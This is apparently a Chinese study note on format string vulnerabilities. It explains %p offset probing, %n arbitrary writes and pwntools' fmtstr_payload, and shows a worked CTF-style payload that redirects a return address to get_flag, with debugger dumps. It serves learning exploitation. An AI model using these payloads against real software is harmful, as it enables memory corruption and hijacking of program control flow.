原因
格式化字符串漏洞是一种安全漏洞,发生在程序错误地使用格式化函数(如 printf
、sprintf
、fprintf
等)时,导致攻击者能够读取或修改内存内容。通过这个漏洞,攻击者可以在栈或内存中进行未授权的访问,甚至可以执行任意代码。
1. 格式化字符串的基本功能
在 C/C++ 等编程语言中,函数如 printf
使用格式化字符串来输出数据。常见的格式说明符有:
%d
:输出整数。%s
:输出字符串。%x
:以十六进制格式输出整数。%n
:将已输出的字符数写入指定的内存地址。
这些说明符决定了函数如何解释参数,通常与它们在栈中的位置有关。
2. 漏洞的形成原因
格式化字符串漏洞的根本原因是格式化函数在使用时没有正确地处理或校验格式字符串,允许攻击者通过构造恶意的格式字符串操纵函数的行为。
例如,通常使用 printf
输出数据时,开发者应当传递格式字符串和相应的参数,如:
printf("Value: %d", value);
但如果开发者没有传递格式字符串,而是直接输出用户提供的数据:
printf(user_input);
攻击者可以控制 user_input
的内容,并且可以插入格式化说明符(如 %x
、%n
等),导致 printf
从栈或内存中读取或写入不应访问的数据。
偏移量计算
使用递增的 %p
或 %x
来打印栈内容
这是最常见的方法,通过打印栈上的内容来找到格式化字符串在栈中的位置。
示例步骤:
- 输入格式化字符串: 首先尝试在输入中使用一系列的
%p
或%x
占位符。例如:
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p
-
查看输出: 观察程序的输出,输出的每个
%p
或%x
都会打印栈上的一个地址或值。查找你输入的字符串(如41414141
,即AAAA
的十六进制表示)出现在输出中的位置。 -
计算偏移量: 例如,如果你在第 7 个
%p
的输出中看到41414141
,这意味着偏移量是 7,因为在栈上前 6 个值是其他内容,第 7 个值是你输入的字符串。
寻找有意义的值
这种方式同样可以寻找有意义的值,我们可以通过动态调试来找到有意义的值
对易受攻击的程序发送
aaaaaaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
out:
aaaaaaaa 0x7fff962a8620 0x28 0x7f60e3687260 (nil) 0x1999999999999999 0x7fff962a8770 0x7fff962a867c 0x6161616161616161 0x2520702520702520 0x2070252070252070
计算可得偏移为8
任意地址覆盖
利用 %n 覆盖任意地址
攻击者可以利用%n
格式说明符将某个值写入指定的内存地址。原理如下:
-
确定地址: 攻击者需要确定想要覆盖的内存地址。这通常是通过其他漏洞或内存泄漏来实现的。
-
控制格式化字符串: 攻击者构造一个格式化字符串,其中包含指向想要覆盖的地址的指针,以及适当的
%n
说明符。例如:char buffer[100]; int *target_address = (int *) 0xdeadbeef; // 假设这是我们想写入的地址 snprintf(buffer, sizeof(buffer), "%x%x%x%x%n", target_address); printf(buffer);
在这个例子中,
%x%x%x%x
将输出一些无关紧要的数据,%n
则会将到目前为止输出的字符数量写入target_address
。 -
控制写入的值: 攻击者可以通过调整格式说明符前的输出字符数来控制
%n
写入的值。例如,使用宽度说明符:snprintf(buffer, sizeof(buffer), "%12345x%n", target_address);
这将输出12345个字符,然后将12345写入
target_address
。
pwntools 工具
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', strategy='fast')
offset
: 一个整数,表示栈偏移。该偏移量是printf
函数的参数在栈中的位置,从哪里开始读取格式化字符串参数。writes
: 一个字典,表示要写入的地址和值。字典的键是目标内存地址(可以是整数或字节字符串),值是要写入的整数。numbwritten
: 一个整数(可选),表示已经写入的字节数。用于调整剩余的字符输出数量。write_size
: 字符串(可选),表示写入的大小,可以是'byte'
、'short'
或'int'
,分别表示 1 字节、2 字节、4 字节写入。默认是'byte'
。strategy
: 字符串(可选),表示使用哪种策略来生成 payload。可以是'fast'
(尽可能短的 payload),或'justwrite'
(只生成写入指令)。
示例
%3926c%10$hnaaaa\xc8\xdc\x8bV\xfd\x7f\x00\x00
%3926c
:
%c
是一个格式化字符串标志,表示输出一个字符。在这个上下文中,%3926c
表示向printf
函数输出 3926(0xf56)
个字符。
%10$hn
:
%10$hn
是一个格式化说明符,它表示“将写入内容(通常是某个数值)写到第 10 个参数所表示的地址,并且只写入两个字节(hn
表示半字写入,16 位)。”%10$
:这里的10$
指的是传递给printf
的第 10 个参数。$
符号用于指定参数的索引。hn
:hn
是一个格式化说明符,用于执行“半字(2 字节)写入”,也就是说,它只会修改目标地址的低 2 个字节。
aaaa
:
- 其目的是确保栈栈对齐
内存情况
- 攻击前
%8 02:0010│ rdi rsi 0x7ffd93567ec0 ◂— 0x3125633632393325 ('%3926c%1')
%9 03:0018│-038 0x7ffd93567ec8 ◂— 0x616161616e682430 ('0$hnaaaa')
%10 04:0020│-030 0x7ffd93567ed0 —▸ 0x7ffd93567f08 —▸ 0x55f35a60102c (main+118) ◂— jmp 0x55f35a60104b
- 攻击后
%8 02:0010│ rdi rsi 0x7ffd93567ec0 ◂— 0x3125633632393325 ('%3926c%1')
%9 03:0018│-038 0x7ffd93567ec8 ◂— 0x616161616e682430 ('0$hnaaaa')
%10 04:0020│-030 0x7ffd93567ed0 —▸ 0x7ffd93567f08 —▸ 0x55f35a600f56 (get_flag+110) ◂— mov esi, 0
不难看出,0x7ffd93567f08所指向的指针被覆盖了。
一些思路
同层次函数,反回地址存放位置相同
- 每次调用一个新函数,当前函数的返回地址会被存放在栈上,通常是在调用函数的栈帧中保存。
- 函数
a
调用b
时,b
的返回地址会被存放在a
的栈帧中一个特定位置。 - 当
b
返回后,a
再调用c
,c
的返回地址会存放在栈上同样的位置,因为调用c
时,b
的栈帧已经被清除,栈的指针返回到a
的栈帧位置。 - 同样,当
a
调用d
时,d
的返回地址也会存放在栈上与b
和c
返回地址相同的位置,因为在调用d
时,c
的栈帧已经被清除,栈指针再次返回到a
的栈帧。